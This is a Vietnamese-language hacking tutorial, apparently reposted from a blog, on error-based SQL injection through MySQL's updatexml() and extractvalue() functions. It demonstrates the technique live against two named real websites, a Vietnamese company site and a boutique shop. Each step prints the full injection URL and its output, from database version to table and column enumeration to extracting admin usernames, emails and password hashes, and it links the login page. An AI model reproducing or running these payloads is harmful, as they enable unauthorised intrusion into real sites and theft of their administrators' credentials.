Hướng dẫn XPATH Attack

Hướng Dẫn Khai Thác SQLi Dạng XPATH

Get version(), database(), user():

http://coex.com.vn/?option=hotro&catId=121 andupdatexml(0,concat(0x7c,version(),0x7c,database(), 0x7c,user()),0)– -

XPATH syntax error: ‘|5.6.13-log|admin_coex|coex@loca’

Get Table:
http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(0x7c,table_name) from information_schema.tables WHERE table_schema=database() limit 0,1)),0)– -
Tăng Limit lên dần để get table cần tìm.
+Ví dụ: limit 0,1 rồi limit 1,1 rồi limit 2,1…Số đầu là số thứ tự table, số sau là số table cần hiện ra, XPATH cũng như error-based, mỗi lần query được 1 table/colum.
==> admin, admin_rights, admintype
Get Column:
http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(0x7c,column_name) from information_schema.columns WHERE table_name=0x61646d696e limit 0,1)),0)– -
Tăng Limit lên dần để get column cần tìm. Tuơng tự như lúc truy vấn table
==> id, idtype, firstname, astname, email, password, status
Get tài khoản:
http://coex.com.vn/?option=hotro&catId=121 and updatexml(0,concat(0x7c,(select concat(email,0x7c,password) from admin limit 0,1)),0)– -
Link login: http://coex.com.vn/login.php

nguồn : http://quytg-cehv.blogspot.com/

Hack SQLi dạng X-path

Tut SQLi dạng X-path

http://www.boutiqueoffbroadway.com/info_page.php?id=6'

Get version:

http://www.boutiqueoffbroadway.com/info_page.php?id=6+and+extractvalue(rand(),concat(0x7e,version()))--
--> XPATH syntax error: '~5.5.36-cll'

Getting The Tables:

http://www.boutiqueoffbroadway.com/info_page.php?id=6+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))--
--> '~address_book'

Ta tăng limit lên để tìm Tables tiếp theo

http://www.boutiqueoffbroadway.com/info_page.php?id=6+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+1,1)))--
--> '~address_format'

http://www.boutiqueoffbroadway.com/info_page.php?id=6+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+2,1)))--
--> '~administrators' (nó đây rồi)

Getting Column:

http://www.boutiqueoffbroadway.com/info_page.php?id=6+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0x61646d696e6973747261746f7273+limit+0,1)))--
--> '~id'

Ta tăng limit lên để tìm Column tiếp theo

http://www.boutiqueoffbroadway.com/info_page.php?id=6+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0x61646d696e6973747261746f7273+limit+1,1)))--
--> '~user_name'

http://www.boutiqueoffbroadway.com/info_page.php?id=6+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0x61646d696e6973747261746f7273+limit+2,1)))--
--> '~user_password'

Getting Data:

http://www.boutiqueoffbroadway.com/info_page.php?id=6+and+updatexml(0x7e,concat(0x7e,((select+concat(id,0x7e,user_name,0x7e,user_password)+from+administrators+limit+0,1))),0)--

--> '~3~offbroadwayboutique~37b93056a'

Ta tăng limit lên để tìm thông tin tiếp theo :-)